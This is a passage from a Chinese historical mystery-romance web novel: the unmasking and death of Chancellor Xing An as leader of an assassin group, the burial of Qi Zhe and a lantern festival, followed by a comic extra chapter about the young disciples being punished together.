“可他们为何会被这是什么都不知道的线索吓到呢?”一官员发问。
贺扶微微一笑:“自然是他们的步骤乱了,有人在暗中扰乱了他们的谋算,他们不知道我是否和暗处那人联合起来,他们不知道我究竟掌握了多少,自然就怕了。以及,许侍郎在最近应该丢了些东西吧?”
丢了什么东西,贺扶没有明确指出。
“那他们背后的人究竟是谁?”一人怯怯发问。
贺扶回答道:“莫要着急,我们慢慢说。”他一双笑眼看向正襟危坐的章执,问,“安成王一案若是说起那便是从圣阳遇刺,嫁祸于我一事说起,那日似乎首辅大人也做了一件很重要的事情吧?”
众人皆知,那日的章执在众人面前指了贺扶私通外邦一事。
莫非那背后之人就是章执?
有人问出了这句话却在下一瞬噤声,那可是章执啊!是陛下面前的红人,就算是犯了什么罪没有陛下的意思谁敢动他?而作为被怀疑对象的章执却只是轻轻扫了一眼,没有说话。
“接下来,就是另一件事了。”
绍王府的案子,贺扶也算是当事人。念此,众人皆屏息以待。
“当年绍王府灭门的凶手是一个极其庞大的组织,人人身上都有剑兰花的纹饰。而在十五年后再一次出现在贺某的眼前,是因为一件盗窃案。此事即已结束那贺某也不必隐瞒了。半年前皇后生辰时陛下相赠的那块迦南玉曾失窃过,而盗走迦南玉的正是大名鼎鼎的神偷飞舟。”
“而那飞舟正是剑兰花纹组织的一员。而在遇到飞舟后我们便一路顺着线索走,去了湖州、崇安竟都是有关那组织的案子。这未免也太过巧合了吧?”
“莫不是有人特意引贺大人去的?”此时开口的是礼部尚书,他虽然年过半百但仍然是一派温润书生的模样。
“自然。可那人是谁呢?这就要再提起两位许久未见的朋友了。”贺扶看向章执,他也一直看着贺扶,安静等待着他接下来的话。
周围有人惊叹于到这个地步了,他竟还能这般平静的坐着?竟连神色都没有变一分。
“当时在回京路上贺某曾遇到一对夫妻,若不是那对夫妻贺某也不会知晓崇安有红楼一事。在红楼一案结束时那凶手曾暗指那对夫妻引贺某前去是为了要贺某的命,但明显不是。红楼聚集有仇怨之人互斗,但那对夫妻既无争吵也无仇家,与他们同去的人竟是连他们的模样都不知,又如何能要他们的命呢?”
“所以,他们引贺某前去的目的并非那凶手所说的灭口,而是指引贺某前去发现红楼的线索。”
又一人问道:“可那凶手不该是和那组织一道吗?为何要帮贺大人寻到线索呢?”
“那便要问首辅大人了。在红叶观内,首辅大人似乎与那人见过面吧?你二人相识,所以与他串通好引我查案,结束后他自然是归于碰巧来到崇安的首辅大人手中,倒时再使些手段,许是假死一场,让他消失在世上,以另一重身份生活。”贺扶将‘碰巧’两字咬得重了些。
说罢,他又轻笑一声:“不过这只是贺某的猜测罢了,真相如何也只有首辅大人得知了。不过,若是贺某没有猜错那一对失踪已久不见身影的夫妻此刻应该正在首辅大人的那处宅邸之中吧?”
章执错开贺扶的目光,轻轻抿了一口已经凉掉了的茶水。
礼部尚书疑道:“那这么说,首辅大人不是那剑兰花纹组织的头目?”
闻言,方才那位怀疑过章执的人更慌了,若是章执不是那他不就是对他有意见吗?如此之后被他针对都是小事,若是要了他的命,那可就完了!
他甚至没了听戏的兴致,一心只想溜走。可如今这堂中静得可怕,就算是一根针掉在地上都格外清晰,更别说一个大活人离开
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了。
众人皆在猜测这背后之人究竟是谁,让章执不惜花费如此力气引贺扶去查。
正当众人疑惑之时,又有两人翩然而至。一红一白,但走近一看,那一人红的不是衣裳,而是衣裳上的血迹。
贺扶看到来人,震惊了一瞬,朝她们背后看去,半晌没见到有其他人来,心下突然一颤。
那白衣人是霁尘君宋拿云,而染血的竟是失踪已久的安乐郡主宋衫。
见到宋衫时,沉默站在角落的歌阳侯很是诧异,但不知为何没有发出声音。
宋衫不敢去看贺扶,只是将背后包袱里的东西拿出来递到众人面前,“这是在嘉亲王府内找到的。”
看到东西后,堂内又惊起了一阵波澜。
“这是……面具?还有两个?”
剑兰花纹组织头目会戴面具一事众所周知,但其余人只知晓灭绍王府的藏羚羊面具和前些日子幸安从崇安带回的麋鹿面具,这次却是一次性见到了两个。
一朱鹮,一猞猁。
贺扶按下心中不妙,接过面具后继续道:“这猞猁面具正是在安成王府中搜到的,安成王确实是剑兰花纹组织一员,至于这朱鹮面具……”他看向还诧异看着宋衫的许会泽,问他,“许侍郎可觉得眼熟?”
这意思已经很明显了,这朱鹮面具正是许会泽的。
许会泽这才收回目光,“没有证据,凭什么说是我的?”
宋衫将包袱抖干净,里面是几封密信,每一封上都有这剑兰花的印记,与方才贺扶拿出的空白信件如出一辙。
“这些不是在嘉亲王府中搜到的吗?”有人疑问。
目光顿时集中在尚卿身上,他咽下嘴里嚼着的瓜子仁,把手里的瓜子皮放在身边家仆的手里,道:“那是物证,我是人证。是在他府上找到的。”
他这话说得轻飘飘的,但却没有一个人生疑。毕竟这嘉亲王可从来不做没有意义的事情,小小侍郎没必要让他去诬陷。
“而这信里的内容,很是眼熟啊。竟是与当日首辅大人指我私通且末的信件内容如出一辙。只是落款却是一朵剑兰花。”
“所以,这人究竟是谁啊?”有人按耐不住心中猜疑。
贺扶道:“一个与安成王有恩,值得他以命相助的人;一个能够有时间和地位与且末相交的人;一个可以让首辅大人费尽心思去扳倒的人。”
说着,他将目光转向了身后的幸安,不知何时他嘴角那抹从未消散过的笑,消失了。
“一个和我的父亲同窗,得我父母信赖,却能毫不留情的将他们杀害。养育我,嘘寒问暖;教导我何为君子之道却能在背后说离心之言,挑拨我与同门关系的人。”
“你说是吗?师父?”
如果说方才的场面是沉默,那此刻的场面却是彻底呆滞了。
像是有什么人暂停了时间。一时间竟是连出气进气的声音都消失了。
那可是幸安啊,那可是将贺扶一手带大,待他如亲子的幸安啊!!
幸安对上贺扶质问的目光,温声道:“证据呢?”
贺扶没有说话,也没有人敢说话。
良久,院内传来一道疲惫又沙哑的声音:“证据,在这里!”
105. 剑兰(二)
众人循声看去,只见来人一身是血,竟是比方才进来的宋衫还要恐怖。
孱弱的身子背着一个垂着头的人,手中还拉着一条麻绳,麻绳连着的是一辆农人用来拉草垛的木车,木车上盖着白布,但不难看出白布之下是一具具躯体。
“这是……”
“温姑娘……”宋衫呢喃着,她没想到温余竟然能活着回来。
温余走近,最后停在屋外。她双目通红,唇色发白,握着麻绳的手上能看出被磨破已经外翻的皮肉,而在她的身后,夹杂在深深车辙中的是一个个血染成的脚印,在厚雪之中,格外触目惊心。
她在众人注视下将背上的那人小心翼翼地放好,从怀中拿出昨日射杀启蛰的那支箭羽。
“幸丞相昨日想要灭口,灭我的口。这支本该射在我身上的箭羽,正是你丞相府的东西!”即使她早已气息虚浮,但这句话却说得掷地有声。
“这车上的人,有且末人,还有你丞相府中的暗卫。”温余对幸安道,“没想到吧,我能活着回来。”
贺扶自然认出了那躺在地上的人是启蛰,他太熟悉了。那个自小便跟在他身边、未曾离开他一刻的孩子,一个说是他看着长大实则是陪他成长的孩子。
陪他从绍王遗子变成大理寺少卿的孩子。
绍王府的每个角落都有他成长的痕迹,门框上有他每一年的身高,院子里有他砍坏的木桩,还有他屋前那颗由他亲手种下的桃树……
在贺扶的印象里,他总是吵吵闹闹的、爱闹爱笑的,是那么鲜活,可现在怎么就不会笑了呢?
贺扶站在原地,没有走过去,只是看着他躺在地上,那张了无生气的脸分明在昨日在与他说话。
“幸丞相应该不会蠢到派自己手下的人去灭口吧?”许会泽笑道,“还真是为达目的不择手段,就连自己手下的人都能杀害栽赃!”
“这句话你还是还给你的主子吧。”温余带着怒气,“一条只会跟着主人身后汪汪叫的狗,一条连自己东西都看不住的狗,竟然还敢在这里叫嚣?”
许会泽大怒,他从未被旁人指着鼻子这样骂过,“你是个什么东西?竟敢在这般出言不逊?”
“也是,打狗也要看主人。那我今日便带着你家主人,一起说。”
说罢,温余看向了幸安,那个在她印象里总是和蔼笑着的小老头,没想到那张皮底下藏着的却是吃人不吐骨头的恶兽。
启蛰一命,还有贺扶受的那些伤早已经把她对幸安的尊敬耗光了。
她自然也不必守那所为的尊老之言,她哼一声道:“他当然不会那么蠢,但是他已经没有办法了。”
“他本可以全然派且末人前去的,可是一月前,六公主挖了一个且末人的眼睛,那人恰好是且末四大族之一的少主羌白。他被挖了眼睛回去,左晋之人却没有任何表示,且末人就算再懦弱也不会忍到这个地步。所以,跟在幸安身边的羌家人都走光了。”
温余说起羌白之事,宋衫神色微变。她又道:“他本以为杀一个我,甚至还有和他们一起拉扯住我的宋衫用不了多少人,可是你们没想到启蛰会来,他将你们派来的人杀了不少,所以没办法,你们只能多派些人手。”
“且末人一时又叫不过来,那怎么办?就只能你们自己人上了,反正我和启蛰都会死,也不会有人发现是你们的人杀的。”
温余笑了一声,没有去看身后震惊的宋衫,“可是你们太自大了,或者说我终于幸运了这么一次……”
温余甩出一块木制的护身符,正是在红叶观内道宁赠予她的那块,但此刻它早已四分五裂。
“你们没想到,我还能活着回来。我发现了箭羽发现了那些人的身份,我带着他们来指认你,让你说无可说避无可避!”
温余越说越激动,说完便咳出一口血来,宋衫处于愧疚想要上前帮她擦一擦却被轻轻拂开。
她将嘴里的血吐出,在本就是大红色的地毯上不甚明显。
“所以啊,认输吧,去死吧!去偿命,去给你杀的那些人偿命吧!!”
说完了想说的话,温余终于是坚持不住往一侧倒了下去,宋衫想要接,却被贺扶抢先一步。
贺扶隐忍着道:“辛苦了。”
“说完了吗?”幸安的神色称得上坦然自若,“既然说完了……”
他应该还想要说些什么,可下一瞬便有一道更响亮的声音响起,“既然说完了,就该朕来说几句了。”
这声音没什么情绪,却让在场所有人都周身一震,纷纷叩首道:“陛下万岁万岁万万岁,皇后娘娘千岁千岁千千岁。”
在喜堂一侧,皇后扶着皇帝缓缓出现在众人面前。他坐在本该新人父母坐的位置上,看着下方俯首的众臣。
“幸丞相,你可还有什么可辩解的吗?”
幸安也跪着,他心中暗暗笑道,果然,这么大的事情皇帝怎么会不知道呢?嘉亲王成亲帝后怎么会缺席呢?原来,都在这儿准备着。
“百口莫辩。”
皇帝往椅背上靠了靠,“既如此,来人。”
霎时间,藏在暗处的皇帝亲卫鱼贯而出,顿时将喜堂围城黑压压一片。
“将罪臣幸安和许会泽带下去,听候发落!”
两个亲卫一人一边将幸安架起,正要带他走却听他又道:“陛下,念在臣年事已高且效忠已久的份上,允许臣再说一句话。”
皇帝颔首示意亲卫放开他,幸安薄唇微动,“臣要对臣的得意弟子说一句话……”
说罢,他转向贺扶。贺扶沉默良久后还是道:“说吧。”
幸安薄唇微动,“我要说……”
众人正屏息等他说话,可下一刻他竟抽出身边亲卫的剑朝贺扶怀中的温余刺去,可剑却在离温余几寸的地方停了下来。
甚至都没人来得及惊呼,幸安便被贺扶手中的长剑刺穿了心脏。
那把长剑正是启蛰手中拿的那一把。
变故发生的太突然,这时众人才想起年少时的幸安也是名动天下的寒门武学奇才,可后来不知为何竟是和好友绍王一同钻研起了经文和治国之道。
幸安嘴角流下鲜血,他忽然笑出了声,“不愧是我的得意弟子啊,阿扶。不错,做得不错。”
贺扶看着他想要抽出剑,却没想到幸安忽的伸出手握住剑,将那剑插得更深,“这样,你也算是报仇了吧?可是你开心吗?”
他知道,贺扶不会因此开心,可是他还要问。
贺扶闭了闭眼,冰冷道:“自作自受。”
“看到了吗?”幸安没有回头,声音却变得嘲讽起来,“这就是我最得意的弟子。尚卿,你恨我斥责我偏心,可如今就连死,你都没办法让我死在你手上。”
“所以啊,我死了,你就去恨他吧。”幸安又笑了,笑得更大声,从未有人听到他这样笑过,也许这才是他最为真实的样子。
“你知道我为什么讨厌你吗?因为你和我太像了,同样是被别人压得抬不起头,你和我一样,你会变成我的哈哈哈哈哈……”
笑声渐渐微弱,缓慢,最后在一声仿若噎住的声音后,幸安彻底失去了气息。
贺扶这才将剑拔出来,用启蛰的剑杀了他,也算是让启蛰亲自报仇了吧……
一场闹剧后,众官员皆带着唏嘘和惊恐出了门,甚至有些官员离去的时候脚步的虚浮了,还得让同伴搀扶着出门。
最后,堂上便只剩下了三人。幸安的三个亲传弟子,曾经的同门师兄弟。
温余被宋拿云和宋衫带去查看伤口了,贺扶的一边衣袖上还沾着她的血。
三人各站一边,显出一个三角。
最后,是贺扶打破沉默:“师兄,为何?”
章执自然明白他的意思,“幸安的权力,太大了,朝中信任他的人太多了。”
确实,自从章执长成,皇帝便有心将他往上提拔,为的就是压制幸安。但幸安在朝的时间太长,一时半会压不下去,更何况有些人得了幸安的恩惠又见皇帝这般偏爱章执自然会觉得不服。
所以幸安得死,必须得死。还得是以一个重大的罪名赐死。这样才会人人信服。
好在,他早就给自己挖好了坑,只需要有人将这坑上的草堆给扒开。
章执和幸安相对,他不合适;尚卿有是皇室也不合适,那就只有贺扶了,大理寺卿,绍王遗子,有名也有仇。就算是将幸安杀了也合情合理。
所以说贺扶便是最合适的人选。
“那圣阳呢?她也是你们的计划?”贺扶不明白,圣阳本该有大好的前程,哪怕是死在恶人手中呢?为何偏偏会是她最为敬重亲切的父亲?
“此事并非我所为,是幸安为了扰乱视线,迷惑你,所以才让安成王杀了她的。”
如此说法,更为冷血。
贺扶闭了闭眼,没有再开口。
章执见此也暗暗叹了一声,没有人听到。他转身离去,堂内便只剩下了贺扶和尚卿两人。
“其实,我之前还真的有过和他一样的想法。”尚卿忽然道,“听说绍王最喜穿紫衣,在我们的印象里,他也总是穿着紫色的衣裳。我之前也试着穿过你这样的衣裳。”
贺扶微微抬眼,听着他继续说:“但后来,我觉得不好看。你的品味太差,还是我的衣裳好看。我换了。”
尚卿轻笑一声,“我很庆幸,没有真的和他一样。”
贺扶疲惫的勾起一个笑来,“当称赞一个人的时候,许多人都会以‘天下无双、举世无双’之类的词语来称赞,其实每个人都是天下无双、举世无双的,你不必和旁人比的。旁人的成功或是失败,都与自己没关系。”
“反倒是过于沉迷于旁人会伤了自己。”
尚卿似乎愣了愣,不知道想到了什么,随后他看向了堂上的牌位。
良久,他才
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又发出一声笑来,“我可没说让你教训我。我也没说以后不再盯着你了。”
他走到合贺扶身边轻轻拍了拍他的肩膀,“日后我还是会针对你的,我还要召集所有不喜欢你的人,一起针对你!”
尚卿抱臂,留下一句“等着吧”就离去了。
此刻的堂内便只剩下了贺扶一人。
空气都变得寂静起来,一瞬间几贺扶像是失去了所有的力气,瘫坐在地。
若是在之前,他是绝对不会允许自己这般狼狈无礼的。
可是今天他有些累了,太累了。
他就这么坐在堂中看着泛白的天际,看来今天是不会有太阳了,阴沉沉的。
不知在堂中坐了多久,贺扶忽然感到背后有东西落下,是一件鹅黄的大氅。
他抬头,只见我温余正对他笑着。
“大寒,很冷的。”说着,温余也坐在了他身边,两个人一起看着天际。
贺扶抬手将温余也揽进大氅里,轻声道:“你也是。”
两人安静地坐了很久,贺扶突然道:“辛苦了。”
温余轻轻笑了一声,想要回他一句辛苦了,可就在这时日光从云层间破开,最初的一束光打在贺扶脸上,温余惊喜道:“出太阳了!”
贺扶也转过头,那太阳有些太过刺眼,但他仍然没有因此而眯起眼睛,而是盯着它看。
看来今天是个晴天。
……
虽然一切已经成埃落定,但温余和贺扶也只休息了几个时辰。
两人出了嘉亲王府之后的第一件事就是安葬启蛰。贺扶将他葬在了绍王陵,以他胞弟的名义下葬。
原本,他就是将启蛰当做家人的。
但在路过嘉亲王陵的时候两人远远的看到了尚卿,他正站在尚修墓前烧着什么。贺扶没看出来,温余却知晓他烧的是那日自己偶然发现的画卷,是尚修画给他的。
不知他烧这画的原因是什么,是觉得碍眼,还是说准备把之前的事情放下了。
温余不知道,但她希望是后者。毕竟人总是要向前看嘛!
烧完画,尚卿也发现了远远看着自己的两人,他笑一声:“偷窥也要搭个伙儿?”
两人解释了原因,但尚卿明显不愿意听。之后,三人便结伴一起回了宫中。
同皇帝说明情况后解除了婚约,离开时却遇到了冷脸前来的章执和宋拿云。
宋拿云求皇帝要和离,章执虽无言但能从那张冷着的脸上看出他不愿意。
于是,皇帝化身为和事佬,不断劝着两人,虽然大半都是在斥责章执不懂和姑娘家相处就是了。
毕竟是他赐的婚,当初他看得好好的,这两个人简直般配得不能再般配,今日却是要和离了,未免也太落他的面子了!
三人离开时,殿内还回荡着皇帝的劝和声和陈总管的附和声。
出了宫,尚卿忽然朝一处跑开,温余觉得奇怪,问贺扶原因。
贺扶指了指此刻被尚卿揽住还有些无措的青年道:“那是新上任的刑部侍郎。”
温余顿时了然。
刑部和大理寺此时还是相对立的关系,尚卿还是努力的在和与贺扶相对的人搞好关系。
温余忍俊不禁。
贺扶也轻轻叹道:“果真是孩童心性。”
入夜后,温余和贺扶并没有直接回到绍王府,而是转了方向去了永安街。
今日上元节,百姓正在放灯。
贺扶给温余和自己各买了一只花灯,两人在花灯上写好心愿,放入河中。
看着花灯顺流而下,和其他花灯混在一起,跌跌撞撞往远处漂去,像是红叶灯节时放的天灯一般。
只是上一次所有人都在,这一次却只有贺扶和温余两人了。
温余目送那两只花灯漂远,忽的跑开了。离开时还叮嘱贺扶不要乱跑。
贺扶乖乖站在原地等她回来,她再次回来时竟是带来一大捧花灯。
“我们帮其他人也放一只吧!”温余笑道。
贺扶当然知道她说的其他人是谁,启蛰、圣阳、宋拿云、章执、尚卿,还有一路上遇见的陪他们走过一段路的朋友们。
花灯一个个向远处飘去,温余的动作却愈发着急。
贺扶问:“为何这般着急?之后又没有什么事情?”
温余放灯似下饺子,“要让他们一起走啊,不然就走散了!你也快些放!帮帮忙!”
贺扶轻笑一声,道:“好。”
越来越多的花灯汇入,若是从上方看还真像是流淌在地面上的星河。
人生也像是一条长河,长得没有尽头,亦没有明确的分段。但是每一个路过它的人都会为它添上不同的颜色,悲欢喜乐皆在其中。
有人只能陪你一程,有人则会相伴一生。
所以,无论前路如何,天高路远,各自珍重。
-正文完-
106. 番外:记一次吵吵闹闹的受罚^……
子时,丞相府。
一列提灯巡夜的侍卫在府中九曲水廊穿梭,除过甲胄相撞和厚重的脚步声外便只有蚊虫鸣叫鸟雀啼鸣的声音。
忽然,领头的侍卫脚步一顿,向一处草丛中看去。
“怎么了?”他身后的侍卫问道。
那侍卫定眼往那里走去,边走边道:“有人。”
霎时,众侍卫都警觉起来,一起往那处有动静的草丛走去。正当那领头侍卫想要翻开草丛的时候忽闻跟在最后那小侍卫叫了一声。
众人回头,那小侍卫才来没多久,年纪也小,总是咋咋呼呼的。领头的侍卫年长些,也冷静些,回头问他:“怎么了?”
小侍卫额角带着汗,指向另一处,结巴道:“那里,我方才看到有什么东西从那里窜过去了!不会是刺客吧?”
“喂,你真的看到了?可别有咋咋呼呼让我们白跑一趟!”一人无奈道。
小侍卫重重点头,坚持道:“我真的看到了!有东西!我们快去看看吧!”
众人沉默了许久,大多数是不相信他的。但最后,那领头侍卫还是沉声道:“好吧,我们去那边,你带路。”
小侍卫挠挠头,吃吃笑了笑,“好。”
一行人在那小侍卫的带领下往完全相反的方向走去。过了片刻后,草丛后又传出了窸窸窣窣的声响。
一道月白的身影如同一只轻盈的雀儿一般飞掠过墙檐,双脚稳稳站在地上。
贺扶出了府后没有直接离开,而是找到了一口放在府外的水缸观察着自己。
果真发顶上沾了草叶,他对着水镜将理了理自己的头发后又低头去看自己的衣摆。直到周身上下没有一处不妥帖之处后他才迈开轻快的步伐往外走。
未曾想还未走出几步便听头顶传来一道低沉的声音:“你要往何处去?”
贺扶步子顿住,脖子略微僵硬的转过头,干巴巴笑一声:“师兄。”
章执站在墙檐上,即使穿着柔和的白衣也只显肃穆庄重,让人看了遍觉得悚然。
“扶去,散步。”贺扶道。
“撒谎。”章执冷声道。
贺扶沉默着和章执对峙许久后才认输道:“听说书肆今日上了一本极其罕见的萧谱,所以扶想去买回来。”
章执听后从檐上跃下,站在贺扶面前,对上他带着期待的目光无情道:“回去。”
贺扶还想再说,可章执已经转身往回走了。他在原地站了片刻,看着章执离去的背影,挺拔端正。
他似乎没有往后看的意思?也是,在丞相府中的学子当中,贺扶是最让他省心的了。平日里,不是尚卿专挑着贺扶回答问题的时候抢话,扰乱纪律,就是圣阳找人比试,砍坏一堆桌椅,于他们相比,贺扶简直是让章执欣慰的乖学生。可是再乖的学生遇到心仪的乐谱也没有办法抵抗啊!
于是,贺扶暗暗握拳后下定了决心。
悄悄转身,然后
——飞奔!
章执当下就听到了贺扶离开的脚步声,转身看到贺扶如兔子一般飞奔的身影后锁眉,但无论是年岁还是武功,他都要胜贺扶一筹,所以他很快就追上来了。
行至一家香料铺子前,贺扶躲开章执伸来阻拦的手,一个飞身跃上屋檐,章执也紧随其后。贺扶一边往前奔,一边躲着身后章执的突袭。
直到最后,章执一个飞身停在贺扶面前,贺扶才猛得停下。
“师兄,通融一些吧。”贺扶见自己跑不了打算讲道理,但章执明显不听。
他沉声道:“回去,明日还有早课。”
“我不会迟的。”贺扶解释道,“而且,师兄也有很久都没有尝过北街口的那家胡饼了吧?不若,我去带些来给你?”
这显而易见的利诱,章执竟也迟疑了片刻。
少年人没有见过什么名利场,只为自己喜欢的东西停留,大多也是些吃食玩具。
“那,我便先走了。”贺扶见他迟疑,错身跑开,章执也只是象征性地追了几步后便消失也夜里。
可是因为路上浪费的这些时间,等贺扶赶到书肆的时候店家已经准备收摊了。
他上前问:“店家,不知那名为《渡春》的萧谱可还在?”
那店家面露难色,道:“那萧谱抢手,一开摊子就买走了。”
贺扶一路狂奔到这里此时胸膛还微微起伏着,听到店家的话,他心中失望,但面上却不显。他笑道:“既如此,便是在下无缘了。”
贺扶转身欲离去,又听那店家叫道:“对了,反正今日要收摊了,这些话本子便赠于公子吧。虽错过了乐谱,也莫要伤心啊!”
贺扶被那店家塞了满怀的话本子后那店家就离开了,他也没来得及拒绝,最后只能抱着好几本话本子和用来“贿赂”章执的胡饼回去。
回到房间后他简单翻了翻,大多都是些七侠五义之类的江湖故事,正巧启蛰喜欢,到时候送给启蛰看好了。
于是,尽管心中可惜,贺扶还是安然入睡。
直到次日早课结束后,贺扶一出学堂门便看到了迎面走来的章执。
“师兄。”他行礼。
章执表情有些奇怪,道:“去领罚吧。”
贺扶:“?”
“您不是说……”他声音弱了下来,莫不是钓鱼执法?可自己分明给他带了胡饼啊?
贺扶一头雾水的被带到训诫堂,端正地跪在堂中,心中却有几千几万个疑惑,直到堂中响起另一个人的脚步声。
他转头,只见来人一袭与他无二的白衣,但胸前却绣着一朵小巧而精致的凌霄花,出自谁手一目了然。
只要带着这花在章执面前乱晃,他就会默默盯着自己胸前的一片空白生闷气。这时,在来一个人人撞在枪口,那可就完蛋了。
那人一定叫苦连天,问为什么,但谁都不知道,只有贺扶知道,他是吃醋了!
宋拿云和徐长钰关系好,上次徐长钰比试是坏了衣裳,次日宋拿云便在她那破洞处绣了一朵凌霄花。说来也怪,向来追求完美的圣阳郡主竟是穿着这有了瑕疵的衣裳,怎么都不肯换。
徐长钰走进门来啧啧两声:“没想到啊,你竟然是这种人。”
贺扶奇怪:“什么人?”
就算是半夜溜出府去抢乐谱也不至于这么说吧?好像他做了什么人神共愤的大事一样。
徐长钰笑了几声道:“那你知不知道自己为什么被罚?”
“不是昨夜我私自外出吗?”贺扶道。
“你昨夜还出去了?!”徐长钰很是惊讶,但很快她便又道,“自然是因为,尚卿。他在你房里塞了些东西,恰好被巡查的师兄发现了,你就被罚了。”
“什么东西?”尚卿塞东西塞的多了,贺扶竟也是半点不稀奇了。
徐长钰神神秘秘的走近,压低声音道:“当然是,春宫……”
贺扶一惊,下一刻便听背后又传来一道轻浮的声音,“诶,这你可就冤枉我了。那春宫是他自己带回来的。我只是路见不平。”
“什么?”徐长钰将目光重新放在贺扶身上,半晌,眼中带了嫌恶。
男人就是男人,一天到晚想的都是自己的下半身。
“对啊,混在一堆侠义话本子里,没想到会被我发现吧?”尚卿状似无奈的摇头,走到贺扶身边,“男人嘛,正常,正常!”
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贺扶这才想起,昨日他抱回来的那些话本子他也未仔细查看,说不准就是混入了其他东西。
简直是……太丢人了……
贺扶羞愧扶额,又转而问尚卿:“那你就只是单来嘲笑我的?”
尚卿拍拍肩,理理衣摆没有回答,然后在两人奇怪的目光中,砰的一下跪在里贺扶旁边。
他泰然道:“领罚。”
徐长钰先是一愣,随后便爆发出一阵狂笑。
在笑声中,贺扶问:“你又因何被罚?”
尚卿不以为意道:“不就是在你被子里放死老鼠,被章执发现了而已。”
贺扶沉默了半晌后,转头没有再说话。
但是身侧徐长钰的笑声还没有停,尚卿听得烦了,歪头威胁道:“别笑了。”
徐长钰当然不会放过这个嘲笑他的机会,边笑边道:“怎么,挖坑把自己埋了,我不能笑吗?”
尚卿额角隐隐显出青筋,贺扶伸手想要阻拦可下一瞬他便冲上前去和圣阳缠斗在一起。
贺扶眉心隐隐发痛,一开始还劝几声不要再打了,后来说累了,便跪回原位,闭眼沉思。
在一片鸡飞狗跳中,贺扶跪在最中间,像是一尊坐化了的佛。
……
最后,当然是动静太大引来了章执,三个人就被一起罚跪。
直到深夜,宋拿云端着食盒前来。
看着面前色香味俱全的菜肴,徐长钰咽了咽口水,拿起碗筷就往嘴里塞。
半日没吃饭,还打了一场,真的很饿!
见她狼吞虎咽,宋拿云轻声道:“慢点吃。”
随后,她看向一旁的贺扶尚卿两人,将碗推至两人面前。
“吃吧。”
贺扶道谢后端起碗,尚卿在一旁幽幽道:“有错就要受罚,不可偷懒。我记得他们不许我们吃饭吧。”
这话,是方才贺扶对尚卿说过的。
但还未等尚卿再说,宋拿云便拿起一块马蹄糕塞进他嘴里,“我做的,别剩,吃。”
尚卿被这么一堵,咳了好久才能正常说话。
贺扶这时已经拿起碗吃饭了。
见尚卿看过来,他咽下口中的东西,道:“应时而变。”
尚卿又道:“切,不就是装嘛,谁不会?”
“那你别吃。”徐长钰在埋头苦吃中抬起头道。
尚卿见面前一个两个都和自己作对,哼了一声,但还是端起碗慢悠悠吃起来。
屋外,幸安拦住正欲进去阻止的章执,笑眯眯地道:“少年人嘛,吵吵闹闹的挺好。再说,又不是真的要罚他们!”
章执没有说话,只是看着堂中吵吵闹闹的几人。
“若是你也想吃阿云的饭,那进去也没事。”
章执愣了半刻后,转身行礼:“告辞。”
幸安靠着门,一边是落荒而逃的章执,一边是说说笑笑的四人。
他这些个徒弟啊,真是一个比一个可爱,一个比一个让他心中欢喜。
良久,他才叹出一口气。
若是永远都是少年,没有那些争斗潜伏,那该多好?
……
次日一早,贺扶推开训诫堂的门出来,堂内是躺的横七竖八的三人。
他站在台阶上,看着远处缓缓升起的太阳。
身侧海棠树上的花朵鲜艳欲滴,随着风微微颤动着。忽然,有一片淘气的花瓣从枝头飘下,向着贺扶飘去。
贺扶伸出手,那片花瓣绕着他的手指转了几圈后稳稳落在他手心,海棠的香气几乎萦绕了他周身,他抬眼。
此时已天光大亮,今日又是一个晴天啊!